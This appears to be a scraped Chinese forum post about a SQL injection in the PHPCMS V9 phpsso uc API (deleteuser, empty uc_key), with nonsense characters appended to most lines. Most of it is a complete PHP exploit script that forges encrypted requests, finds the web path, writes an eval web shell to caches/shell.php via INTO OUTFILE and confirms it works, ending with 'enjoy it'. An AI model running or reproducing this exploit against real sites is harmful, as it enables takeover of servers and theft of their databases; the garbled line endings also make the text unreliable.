PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。# G$ j: }# ~: g
) _% E: ?5 o2 o* H }& ~7 Q5 L5 [
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。6 w' o9 O1 \+ R) j' |
" {7 K; f* ` a( \漏洞分析:! B, ?: |7 }: O& x) _
1.未启用ucenter服务的情况下uc_key为空" b9 V6 x6 @- \
define('UC_KEY', pc_base::load_config('system', 'uc_key'));; D! z" s9 a/ `5 j) t
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。" r% ]% U x& ^" v
public function deleteuser($get,$post) {
4 x8 [, S$ g1 F6 i t pc_base::load_app_func('global', 'admin');; {& F6 E' w2 R1 d; k G
pc_base::load_app_class('messagequeue', 'admin' , 0);
8 M. A# O1 L# N, C* t8 N9 x# Z $ids = new_stripslashes($get['ids']);
+ Y o; f6 w6 r; P $s = $this->member_db->select("ucuserid in ($ids)", "uid");0 v! R. p7 ~6 X3 b7 v, w# u
SQL语句为7 q M1 Z: M, H5 O
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
0 q) m+ v& X: [7 n$ W }- g) g& r1 ?2 l3 g/ y
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell5 L% [+ c# {2 k: s9 c
<?php: V3 {$ P4 n3 y4 O. n7 d$ G8 ~; v3 ]6 o
print_r('1 u+ ], ~' x8 z, f/ v0 N2 p
---------------------------------------------------------------------------
$ _& i9 U0 i" n7 vPHPcms (v9 or Old Version) uc api sql injection 0day/ f6 L8 C& K% f: v3 b
by rayh4c#80sec.com
' v( W) `/ `* A) K; `9 {---------------------------------------------------------------------------3 `) K% }& f+ [, s
');. S: w) K% N7 w3 H
3 Q( p2 J! D) |+ N$ Jif ($argc<3) {4 k' d9 k% z, }3 J5 W x4 n
print_r('& S% d& F/ X1 p9 O1 z
---------------------------------------------------------------------------: r% m; T$ l) w7 W
Usage: php '.$argv[0].' host path OPTIONS
2 c! K7 V% @& f+ }4 r3 Mhost: target server (ip/hostname)
, Q: x1 c! p7 m, U: r9 K6 tpath: path to phpcms5 R8 z; E0 {3 @. K
Options:
0 }4 o6 a" O7 F9 C" Z- n- B" Q" ^4 n -p[port]: specify a port other than 80
. A: Y! A. K6 h7 `$ |" L: f -P[ip:port]: specify a proxy" M7 P, ~0 Z+ O# b% q
Example:
0 X5 {% u9 N5 h. U$ @php '.$argv[0].' localhost /6 C8 n* n9 W8 z
php '.$argv[0].' localhost /phpcms/ -p81
/ m' {3 }: R% Q3 c; _( ?$ d* P f7 ]php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80+ I2 O5 m+ g u# M: d+ M
---------------------------------------------------------------------------
3 Q8 o# g. D) {: r');; v# l2 W* ^9 H; J+ P
die;
# |% j o4 L/ V% f' K9 E; f/ ?}
b3 R! s$ R1 f Q
1 z8 f6 |- ?, A+ N" U4 [' xerror_reporting(7);
" k2 i. ?1 d- g% Cini_set("max_execution_time",0);/ Q8 @- l( s6 N# K V( Q
ini_set("default_socket_timeout",5);+ v, L7 `& J5 l5 B, Y# |: q" s) i; K
/ q# l9 Y9 m7 E' m
function quick_dump($string)
0 r7 W D1 [$ z a{
7 m: J, X, ~( r% {5 u+ k8 u $result='';$exa='';$cont=0;* S0 j# \- R# A' e+ E
for ($i=0; $i<=strlen($string)-1; $i++)
/ P% ?5 E' r# w0 P% u9 o- k { M" y* s$ ^7 a/ y; _$ q
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))& H4 p" P( P' O8 K$ k
{$result.=" .";}* i: f1 I# R6 s4 L, @
else
8 [3 [" d( X) H. X1 b3 F {$result.=" ".$string[$i];}: x- J- l; o8 t; J6 W0 D2 x
if (strlen(dechex(ord($string[$i])))==2)
. }7 v. Q {: S* X {$exa.=" ".dechex(ord($string[$i]));}
5 h- _( r$ P- G" m0 z" y else
: e, Z* g" Y, D {$exa.=" 0".dechex(ord($string[$i]));}- A: L7 Z4 H5 ?/ {! G2 v9 @
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
& w' }- N u, j5 Z }6 x5 I, S: w$ v: f$ q/ H
return $exa."\r\n".$result;
S: D; R4 P3 J+ [) r; d}2 Y1 B7 \5 l `% Y7 o
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';2 P6 D+ I4 K( C
& O+ m5 w, Y1 `; G: I( k8 w; M8 kfunction send($packet)
# o9 |: g) [! v, n! f; X{
* @. o4 c9 b( K; H' H% M; v8 [ global $proxy, $host, $port, $html, $proxy_regex;- l$ ]8 n$ A I. W! c: l3 l
if ($proxy=='') {8 B; O7 {) [9 \
$ock=fsockopen(gethostbyname($host),$port);- X+ e* }* H# J: y4 x6 E
if (!$ock) {
6 \' _& ^6 x& p1 z- Z' u echo 'No response from '.$host.':'.$port; die;
& C" @% }$ V" _' v4 i }
2 X( Y" G E* G/ y* h5 P' \$ ~ }
* c% d! l5 ]8 [: B$ { else {
) _6 l& C/ \& p- a2 ?% \ $c = preg_match($proxy_regex,$proxy);+ Q* p/ _0 \! t" M, K8 S9 w
if (!$c) {
" ^3 u% j4 U- W' A5 T4 l( y; } echo 'Not a valid proxy...';die;
C# M$ q5 j. v& D' V9 n }2 e* o* H1 K9 S5 K U
$parts=explode(':',$proxy);! {6 F4 T2 q, y4 Y8 q4 k& [
$parts[1]=(int)$parts[1];
* V m! r4 P2 t echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";& o/ l+ K2 ^, a" \1 O
$ock=fsockopen($parts[0],$parts[1]);7 ~$ n) [6 f5 w- ?; b. |0 v) w
if (!$ock) {
) Y0 J5 i) K' `% |: r echo 'No response from proxy...';die;
& h; z7 Z- o5 X* {. G }
- ]8 i- M8 r2 [- ]1 F: L! z' X }
' T+ f. w; t! z8 j9 F fputs($ock,$packet);0 o$ W) W+ X0 Q: l0 J/ L
if ($proxy=='') {8 K$ e( n3 O7 e7 I0 d- U/ I
$html='';* n5 T7 h4 x, ~8 P. e6 W( r; W( f
while (!feof($ock)) {$ |) W0 r( i C9 M9 U5 \- Y
$html.=fgets($ock);
' z& k# G( X; j }* {6 V$ e7 U: }$ R" @1 G4 d2 V
}( A" r# q$ t% }( q* L) Y' f; D
else {
& N" W% B7 w. }0 [1 q5 n: j8 z0 V $html='';
" O n6 z) d# k% ?8 A$ n" H( O while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {* y0 w0 s2 O7 X' s# S5 H K# M
$html.=fread($ock,1);; v3 G! e$ W S* Y6 D0 f6 B% b! u
}
( x. U8 s: ~& ? }
2 [: H4 X% I6 [6 S* y g fclose($ock);
6 Q; K E% t( X: t}( {# {" S+ z, h
: V) A8 F. l' Y5 _4 u* g# }
$host=$argv[1];
! m! ]! H9 {& A n; L$path=$argv[2];
: D2 v. e2 O! [, X K }$port=80;
* g0 x* E! ?8 P) [6 g- b$proxy="";' {( i0 z- O$ ?7 `8 I4 s6 M
for ($i=3; $i<$argc; $i++){
$ C$ K- f' i9 |+ T# K1 p$ j$temp=$argv[$i][0].$argv[$i][1];
5 z4 `% ~: f0 P( U' Yif ($temp=="-p")3 l) d2 @& U$ A, s8 K6 l2 l/ T
{
, B* d% T/ Q+ a. Q$ g3 E $port=(int)str_replace("-p","",$argv[$i]);
: Y; S) t$ c3 m3 X: R# b}* m3 s$ U+ L0 Z( n4 m+ h
if ($temp=="-P")" l- M7 N! ^- R8 t ?! l( \4 V
{0 W7 k1 T; v% a c+ e" a
$proxy=str_replace("-P","",$argv[$i]);0 ~ k8 T3 Y( K1 e% B
}
+ e* i5 }5 Y' ]7 W}
; d- S, P2 e. [
! V! J" N. r1 P8 [ h) E6 o1 y8 Fif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}9 Y5 `5 t) ]. U' @' Z. u+ k
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}+ m7 Z) e8 y5 e+ u* ` q
1 I* o' T v5 b2 m0 [
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
0 V7 T: k. N2 }! ]4 N* Q% P" o ~9 s9 [- I9 K3 b
$ckey_length = 4;
7 E4 K, F' t, T- g) H& R
% @# Q0 t% X4 _* { $key = md5($key ? $key : '');
& G5 r% j$ Q+ ]& B; O$ _! v' Y $keya = md5(substr($key, 0, 16));' k) ?# H. i% T; `
$keyb = md5(substr($key, 16, 16));5 e/ A% |: V+ ~9 y. t8 J
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
6 N& Z2 m. d" t, O
9 o8 t8 m; w7 [/ g $cryptkey = $keya.md5($keya.$keyc);
_" }6 j. _! r' e $key_length = strlen($cryptkey);
: P- ^' `0 P& \3 H. K6 w2 l+ x9 c) q3 e. K5 l
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;/ o9 f9 b- G: I; y" ~ l6 R+ d
$string_length = strlen($string);: @% y+ b$ I" R
: p& o, w" a5 @ $result = '';3 |0 K' I; T* p- p7 j( r9 h5 r
$box = range(0, 255);
5 U' U" q6 c* T
! f$ V' s0 G( z, ~# R $rndkey = array();
6 ^5 X* O1 e& y1 z' T5 P9 p for($i = 0; $i <= 255; $i++) {6 E. P: R9 f' E9 l3 v
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
- f g- e" j' v( Z }9 ^" n, k* ]: M: g" ?/ k) s
i! q" w1 F- y8 g* i2 u
for($j = $i = 0; $i < 256; $i++) {
9 r) u b7 f* X( c9 W5 M $j = ($j + $box[$i] + $rndkey[$i]) % 256;: ?2 M7 W; ?. O8 e( m
$tmp = $box[$i];
# |8 |9 [; c/ A/ m5 E! B $box[$i] = $box[$j];9 G6 [) z' j- M1 w4 H1 K, h
$box[$j] = $tmp;4 `; G) o2 ?7 R) p; i% }9 Q& D7 f
}
) C: C8 D, j, o, u) o* e
6 |& K0 ?8 E' S# c O9 b2 J( @ for($a = $j = $i = 0; $i < $string_length; $i++) {
{& ^7 j( I. E& u% {+ c& n9 a( j N $a = ($a + 1) % 256;3 e5 Y5 L, s$ m! Q5 S9 \: x9 S
$j = ($j + $box[$a]) % 256;
' Y; L9 R8 M# G3 @, g3 U $tmp = $box[$a]; m, [9 B& u2 F. U0 t1 Q
$box[$a] = $box[$j];9 d9 |/ v3 `& u4 |( j3 P# A/ ^
$box[$j] = $tmp;7 o9 F2 l" {. q9 D2 l
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
( M( }. q, u& s$ |" k+ o }$ D a ?. ?* I3 g( }$ u; ?* o7 w5 H. J
& m. F7 ^: r+ ~4 D; X* z, s/ x if($operation == 'DECODE') {
: O6 ?% R/ q- q$ \- k, h! d+ j1 C if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {3 `6 Z: U. i6 M
return substr($result, 26);
5 H% ~; |* r( V* N } else {
7 K$ _2 D' v* i5 P$ ^ return '';5 Q5 k- ]7 S/ s6 |) O
}* G- j X6 V; j; }+ C/ c
} else {
! b( k! j7 A: @! J, N3 U return $keyc.str_replace('=', '', base64_encode($result));8 F' g. B' B* K) F5 }4 D% X
}
; ?. o, m& X% e0 d
1 i) k+ E8 ?. f: Q2 a}
8 z6 ~3 b5 K$ {$ p1 _& }1 g* v
5 Z3 \% y7 k$ n' y$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";% \* i3 e+ w7 Y' O6 X: v2 |
$SQL = urlencode(authcode($SQL, "ENCODE", ""));8 D9 v( L8 f, `" d
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
6 u, h3 C9 p- e9 [# |# S$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
! M' S" q) ~0 L6 g5 Z! D8 ~9 p$packet.="User-Agent: Mozilla/5.0\r\n";. l9 y5 o/ q( H/ f0 t) o
$packet.="Host: ".$host."\r\n";
7 z. O d2 R6 G9 T& t$packet.="Connection: Close\r\n\r\n";
$ W; }( t' O1 u/ ]send($packet);1 `! X: q; U: R& L) Q
if(strpos($html,"MySQL Errno") > 0){! J; ^1 l/ F7 D3 i, v$ B
echo "[2] 发现存在SQL注入漏洞"."\n";
6 U( @* j5 a4 `- p) a8 t$ B/ d3 E8 O7 P5 fecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";+ b% W9 u* s8 @: \8 A& N
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";; p7 }: s) }' l4 X
$packet.="User-Agent: Mozilla/5.0\r\n";
, P8 I3 o5 A `6 P) T; C5 C1 b' ]$packet.="Host: ".$host."\r\n";% P8 ^. n' A) I% f0 l( N
$packet.="Connection: Close\r\n\r\n";- O2 d' a5 x A0 V3 ~: @
send($packet);
8 Z" I: y2 q2 B+ `1 J! Opreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);" q! O: Q- K: a1 p! ?6 J* Q0 n! d
//print_r($matches);
2 _& f+ o( K- hif(!empty($matches)){
7 z6 A7 L! H5 s/ qecho "[4] 得到web路径 " . $matches[0]."\n";
1 h+ H/ c- _9 t9 ~! z vecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";9 Y/ c2 R# T9 U. R7 b% }2 r
$SQL = "time=999999999999999999999999&ids=1)";, a% N4 m$ G* x$ K9 y! H% i
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
1 ?" }+ O6 [9 _6 l$SQL.="&action=deleteuser";
2 d" f. [( Q1 T j7 D& q& [$SQL = urlencode(authcode($SQL, "ENCODE", ""));& L0 @$ C" `# _* B1 `/ p6 f
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";9 q5 g6 \1 x# e: W. l3 i9 q, Q
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
( A% z9 w. i4 n7 m4 p$packet.="User-Agent: Mozilla/5.0\r\n";
- W) K9 w; V) [1 l1 } k4 [- f$packet.="Host: ".$host."\r\n";9 d0 W* f X1 S7 Y. u# H
$packet.="Connection: Close\r\n\r\n";6 |& m' i% l6 _* }
send($packet);" h& R; L% F7 J
if(strpos($html,"Access denied") > 0){
4 q& {3 i" Y r: p4 W: Z. Recho "[-] MYSQL权限过低 禁止写入文件 ";
, ~2 u' J, N# j; `die;
& B) {7 E% q6 [3 Y$ i3 O/ [}
7 f9 C) |2 A0 l" L5 s4 zecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
* ~: |& G! x. X( j* L+ i& e$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
, E4 l% C( i M6 o3 x/ Z% N; S$packet.="User-Agent: Mozilla/5.0\r\n";
1 w- x) o4 K0 j8 E5 A$packet.="Host: ".$host."\r\n";# t1 E0 O; q* j* U6 W2 b( \
$packet.="Connection: Close\r\n\r\n";
4 B! ~! {, w$ h8 o, bsend($packet);
: z5 j% A( e$ Qif(strpos($html,"<title>phpinfo()</title>") > 0){
1 P/ Z5 @; I& P* \1 {7 iecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
: U6 C* |" P5 |6 w3 Q3 e |7 q}/ H2 [" c3 m& w" H: p, ?
}else{
+ X: z$ e: n* ?2 }- S' Z/ @echo "[-]未取到web路径 ";
u* W" D, O( s# |% N}
9 b: o& X8 D. v6 V7 R3 K/ `* Y}else{
) y7 U7 ^8 \9 a$ Q8 Necho "[*]不存在SQL注入漏洞"."\n";
+ ^; o7 E! L% n' s; a}0 G; R: O, m: L8 }: U$ R, Y" d+ {
+ U6 u5 X3 G7 H! U- o
?>
% b9 K+ E( r! m$ T- d I |